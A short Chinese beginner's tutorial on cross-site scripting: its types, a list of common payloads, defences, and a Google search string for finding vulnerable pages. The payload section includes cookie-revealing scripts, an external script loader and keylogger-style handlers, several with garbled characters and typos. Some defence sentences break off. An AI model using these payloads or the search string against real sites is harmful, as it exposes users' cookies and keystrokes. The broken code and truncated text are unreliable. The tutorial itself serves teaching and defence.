XSS是什么?小白如何快速入门

一、XSS介绍

XSS攻击,通常指黑客通过“HTML注入”篡改网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的钓鱼/传播恶意代码等行为。

XSS是什么?小白如何快速入门


二、XSS的分类

1)反射型XSS

反射型XSS是指通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,带有恶意代码参数被HTML解(服务器中没有这样的页面和内容)。



2)储存型XSS

储存型XSS也被叫做持久型XSS,,它的特点是持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方



3)DOM型XSS

实际上,这种类型的XSS并非按照“数据是否保存在服务器端”来划分,DOM Based XSS 从效果上来说也是反射型XSS。单独划分出来,是因为DOM Based
XSS的形成原因比较特别,发现它的安全专家专门提出了这种类型的XSS。这种利用也需要受害者点击链接来触发,


三、XSS利用框架

XSS是什么?小白如何快速入门


四、XSS常用的插入PAYLOAD

测试payload:

<script>alert('xss')</script>

“><script>alert('xss')</script>

<img src=0 οnerrοr=alert(1) >

弹出网站Cookie:

<script>alert(document.cookie)</script>

<img src-0 οnerrοr=alert(document.cookie)>

<img src=xοnerrοr=appendChild(createElement('script')).src='js_url' />

监听键盘onkeydown事件:

document.οnkeydοwn=funciont(e){

if(!e)e=window.event;

try(hijack();)catch(ex){}

}

JavaScript 键盘记录器还可以捕获用户按下的特定键,在 IE浏览器中可以使用如下代码实现:

<script>

function keyDown(){

var keycode = event.keyCode;

var realkey = String.fromCharCode(event.keyCode);

alert("按键码: " + keycode + " 字符: " + realkey);

}

document.onkeydown = keyDown;

</scrip>

XSS是什么?小白如何快速入门



五、XSS的防御

1) HttpOnly浏览器禁止页面的JS访问带有HttpOnly属性的Cookie。

2)输入检查 XSS Filter 对输入内容做格式检查,类似“白名单”,可以让一些基于特殊字符的攻击失效。在客户

3)输出检查 在变量输出到html页面时,可以使用编码或转义的方式来防御XSS攻击 HtmlEn-

code:将字符转成HTMLEntities,对应的标准是ISO-8859-1。

4)XSS的本质是“HTML注入”,用户的数据被当成了HTML代码一部分来执行,从而混淆了原本的语义,产生了新

5)XSS漏洞挖掘技巧

利用谷歌搜索XSS漏洞:

inurl:'Product.asp?BigClassName

地址中存在百分号的URL和汉字的URL中大部分都会存在XSS漏洞。